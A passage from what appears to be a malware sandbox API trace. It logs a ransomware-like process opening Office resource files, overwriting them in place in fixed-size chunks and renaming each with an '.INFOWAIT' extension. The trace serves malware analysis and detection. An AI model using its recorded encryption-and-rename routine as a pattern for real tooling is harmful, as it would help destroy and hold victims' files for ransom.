returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" [0124.756] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.INFOWAIT" [0124.756] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLLIBR.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outllibr.rest.trx_dll.infowait")) returned 1 [0124.757] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.758] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.759] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.759] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.760] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2b60 [0124.760] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.760] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.760] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2b60, lpOverlapped=0x0) returned 1 [0124.811] VirtualAlloc (lpAddress=0x0, dwSize=0x2b60, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0124.812] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.812] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2b60, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2b60, lpOverlapped=0x0) returned 1 [0124.813] CloseHandle (hObject=0xad0) returned 1 [0124.813] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" [0124.813] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.INFOWAIT" [0124.813] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OUTLWVW.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\outlwvw.dll.trx_dll.infowait")) returned 1 [0124.814] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.815] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.815] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.815] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.817] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcd60 [0124.817] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.817] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.817] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xcd60, lpOverlapped=0x0) returned 1 [0124.969] VirtualAlloc (lpAddress=0x0, dwSize=0xcd60, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0124.975] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.975] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xcd60, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xcd60, lpOverlapped=0x0) returned 1 [0124.976] CloseHandle (hObject=0xad0) returned 1 [0124.976] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" [0124.976] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.INFOWAIT" [0124.976] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.dll.trx_dll.infowait")) returned 1 [0124.977] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.978] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0124.979] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0124.979] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0124.980] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x45f60 [0124.980] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0124.981] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0124.981] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0125.016] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0125.036] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.036] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0125.037] CloseHandle (hObject=0xad0) returned 1 [0125.037] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" [0125.037] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.INFOWAIT" [0125.037] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll.infowait")) returned 1 [0125.038] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.040] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.041] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.041] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0125.042] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1a360 [0125.042] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.043] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.043] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1a360, lpOverlapped=0x0) returned 1 [0125.099] VirtualAlloc (lpAddress=0x0, dwSize=0x1a360, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0125.109] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.109] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1a360, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1a360, lpOverlapped=0x0) returned 1 [0125.110] CloseHandle (hObject=0xad0) returned 1 [0125.110] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" [0125.110] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.INFOWAIT" [0125.110] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll.infowait")) returned 1 [0125.111] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.112] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.113] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.113] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0125.113] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8e160 [0125.113] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.113] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.113] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0125.246] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0125.258] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.258] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0125.259] CloseHandle (hObject=0xad0) returned 1 [0125.259] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" [0125.259] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.INFOWAIT" [0125.259] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll.infowait")) returned 1 [0125.260] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.261] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.262] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.262] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0125.270] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5ab60 [0125.270] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.271] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.271] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0125.332] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0125.343] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.343] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0125.344] CloseHandle (hObject=0xad4) returned 1 [0125.344] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" [0125.344] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.INFOWAIT" [0125.344] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll.infowait")) returned 1 [0125.345] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.346] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.347] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.347] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0125.348] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3360 [0125.348] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.349] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.349] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3360, lpOverlapped=0x0) returned 1 [0125.376] VirtualAlloc (lpAddress=0x0, dwSize=0x3360, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0125.377] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.377] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3360, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3360, lpOverlapped=0x0) returned 1 [0125.377] CloseHandle (hObject=0xad4) returned 1 [0125.378] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" [0125.378] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.INFOWAIT" [0125.378] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll.infowait")) returned 1 [0125.378] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.379] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.380] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0125.380] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0125.381] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4160 [0125.381] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0125.381] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.381] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4160, lpOverlapped=0x0) returned 1 [0125.384] VirtualAlloc (lpAddress=0x0, dwSize=0x4160, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0125.386] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.386] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4160, lpOverlapped=0x0) returned 1 [0125.386] CloseHandle (hObject=0xad4) returned 1 [0125.386] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" [0125.386] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.INFOWAIT" [0125.386] MoveFileW 